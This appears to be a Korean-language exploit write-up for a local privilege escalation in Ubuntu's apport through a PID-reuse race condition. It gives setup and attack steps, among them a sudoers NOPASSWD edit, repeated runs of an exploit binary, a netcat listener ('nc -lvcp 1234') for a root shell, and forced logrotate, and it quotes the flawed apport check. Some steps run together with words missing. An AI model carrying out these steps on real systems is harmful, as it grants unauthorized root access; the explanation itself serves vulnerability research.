
apport의 경쟁 조건으로 인해 Ubuntu에서 로컬 권한 상승이 발생합니다
sudo apt-get install apport=2.20.11-0ubuntu27 (2.20.11-0ubuntu27.10 이하의 모든 버전은 괜찮지만, 소스 코드를 직접 내려받아야 합니다.)echo 10000 | sudo tee /proc/sys/kernel/pid_maxALL ALL=(root) NOPASSWD: /usr/bin/ping를 추가하세요.ulimit -c unlimited; ./exploit을 여러 번 실행하세요./etc/logrotate.d/core에 파일이 생성된 것을 확인할 수 있습니다.nc -lvcp 1234를 실행하세요.sudo logrotate -vf /usr/sbin/logrotate /etc/logrotate.conf를 실행하여 logrotate를 즉시 실행하세요. (/etc/cron.daily/logrotate와 동일합니다.)Apport는 프로세스의 시작 시간이 apport 자신보다 이후인지 확인하여 pid가 재사용되었는지 검사합니다:
# /usr/share/apport/apport
594 apport_start = get_apport_starttime()
595 process_start = get_process_starttime()
596 if process_start > apport_start:
597 error_log('process was replaced after Apport started, ignoring')
598 sys.exit(0)
하지만 이 pid는 apport가 실행된 직후 재사용될 수 있습니다. 이 경우 get_apport_starttime() == get_process_starttime()입니다.
따라서 uid==0으로 실행되는 다른 프로세스로 이 PID를 다시 점유할 수 있다면, apport가 -rw------- root:root 권한의 코어 파일을 떨어뜨리게 할 수 있습니다:
/etc/logrotate.d/로 한 상태에서 sudo ping 8.8.8.8 명령을 실행하세요. root:root로 실행되는 프로세스가 pid A를 다시 점유합니다.